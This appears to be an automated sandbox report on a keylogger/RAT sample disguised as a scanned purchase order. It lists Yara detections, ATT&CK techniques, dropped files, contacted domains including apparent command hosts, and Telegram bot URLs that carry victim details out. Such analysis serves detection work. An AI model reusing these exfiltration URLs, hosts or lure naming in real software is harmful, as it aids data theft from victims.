Source: Yara match	File source: 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 1260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7448, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 1260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7448, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7448, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	1 Email Collection	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Input Capture	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	50%	ReversingLabs	Win32.Trojan.CrypterX
Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	100%	Avira	HEUR/AGEN.1304549
Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	100%	Avira	HEUR/AGEN.1304549
C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	50%	ReversingLabs	Win32.Trojan.CrypterX

Source	Detection	Scanner	Label
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
kafs.co.ug	104.243.33.38	true	true	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
mail.kafs.co.ug	unknown	unknown	true	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2019:19:15%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2020:37:54%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.81	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers?	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EEF000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D90000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.office.com/H	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.tiro.com	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2C000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.00000000040A5000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F82000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003FD0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C7E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E22000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCC000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F45000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CF3000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en	HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D95000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D55000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://kafs.co.ug	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://varders.kozow.com:8081	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.sajatypeworks.com	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.kafs.co.ug	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E8D000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.typography.netD	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4130484840.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4130484840.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/173.254.250.81$	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C5F000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C1A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F88000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DE4000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F5D000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DB9000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2E000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000004081000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003DFD000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E28000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C59000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F20000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EBE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D5F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.galapagosdesign.com/DPlease	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.kafs.co.ugd	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E8D000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1732669565.0000000003490000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1779228796.0000000002E60000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.i.lencr.org/0#	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4129429491.0000000000E06000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D50000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
